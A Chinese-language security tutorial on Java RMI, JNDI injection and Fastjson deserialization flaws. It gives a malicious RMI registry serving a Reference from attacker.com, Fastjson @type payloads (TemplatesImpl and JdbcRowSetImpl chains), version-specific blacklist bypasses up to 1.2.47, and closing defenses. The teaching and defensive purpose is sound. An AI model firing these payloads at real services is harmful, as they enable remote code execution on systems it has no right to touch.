从0到1RMI\JNDI\fastjson
字数 1872 2025-08-26 22:12:02
Fastjson与JNDI/RMI漏洞深入分析
1. RMI基础
1.1 RMI基本概念
RMI (Remote Method Invocation) 是Java的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。
关键实现要求:
- 远程类必须实现
Remote接口 - 通常继承
UnicastRemoteObject类(或手动调用UnicastRemoteObject.exportObject())
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {
System.out.println(name);
return name;
}
}
1.2 RMI通信流程
-
服务端:
- 创建远程对象:
ServiceImpl service = new ServiceImpl(); - 注册远程对象:
Naming.bind("rmi://127.0.0.1:1099/service", service);
- 创建远程对象:
-
客户端:
- 查找远程对象:
ServiceInterface service = (ServiceInterface)Naming.lookup("rmi://127.0.0.1:1099/service"); - 调用远程方法:
String rep = service.cxk("ctrl");
- 查找远程对象:
组件说明:
- Stub:客户端代理
- Skeleton:服务端代理
1.3 动态类加载
当本地找不到类时,RMI可以从远程URL下载类文件。这是RMI漏洞利用的关键机制。
2. JNDI基础
2.1 JNDI基本概念
JNDI (Java Naming and Directory Interface) 是Java的命名和目录服务接口。
核心功能:
- 命名服务:键值对绑定
- 目录服务:对象可以有属性
- 对象工厂:将命名服务中的数据转换为Java对象
2.2 JNDI初始化
// 方式1:使用Hashtable
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://www.example.com:8080");
Context ctx = new InitialContext(env);
// 方式2:使用系统属性
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://www.example.com:8080");
Context ctx = new InitialContext();
2.3 JNDI注入原理
当lookup()参数可控时,可能造成JNDI注入:
String uri = args[0]; // 用户可控输入
Context ctx = new InitialContext();
ctx.lookup(uri); // 危险操作
3. JNDI注入利用
3.1 利用Reference类
Reference类表示对存在于命名/目录服务之外的对象引用,可以远程加载类。
恶意服务端示例:
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://attacker.com/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
3.2 利用条件与版本限制
| 协议 | 安全属性 | 默认值 | 影响版本 |
|---|---|---|---|
| RMI | java.rmi.server.useCodebaseOnly |
true (JDK>7u21) | JDK>=6u45,7u21 |
| RMI/CORBA | com.sun.jndi.rmi.object.trustURLCodebase |
false | JDK>=6u141,7u131,8u121 |
| LDAP | com.sun.jndi.ldap.object.trustURLCodebase |
false | JDK>=8u191,7u201,6u211,11.0.1 |
4. Fastjson漏洞分析
4.1 Fastjson基础
Fastjson是阿里巴巴的JSON处理库,@type属性可指定反序列化的类。
基本用法:
// 序列化
String json = JSON.toJSONString(obj);
// 反序列化
Object obj = JSON.parseObject(json, Object.class);
4.2 TemplatesImpl链
利用条件:
- Fastjson 1.2.22-1.2.24
- 需要设置
Feature.SupportNonPublicField
POC示例:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["恶意字节码Base64"],
"_name":"a.b",
"_tfactory":{},
"_outputProperties":{}
}
调用链:
TemplatesImpl#getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() → 恶意代码执行
4.3 JdbcRowSetImpl链
POC示例:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://attacker.com/refObj",
"autoCommit":true
}
调用链:
setAutoCommit() → connect() → InitialContext.lookup() → JNDI注入
5. Fastjson版本绕过
5.1 1.2.25-1.2.41
绕过方法:使用[开头
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
"dataSourceName":"rmi://attacker.com/refObj",
"autoCommit":true
}
5.2 1.2.42
绕过方法:双写L和;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://attacker.com/refObj",
"autoCommit":true
}
5.3 1.2.25-1.2.47通杀POC
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://attacker.com/refObj",
"autoCommit":true
}
}
绕过原理:利用java.lang.Class加载类并缓存,绕过黑名单检查
6. 防御措施
-
Fastjson:
- 升级到最新版本
- 关闭autotype功能
- 使用安全白名单
-
JNDI/RMI:
- 升级JDK到安全版本
- 设置安全属性限制远程类加载
- 对用户输入进行严格过滤
-
代码层面:
- 避免使用
lookup()接收用户输入 - 对反序列化操作进行严格控制
- 避免使用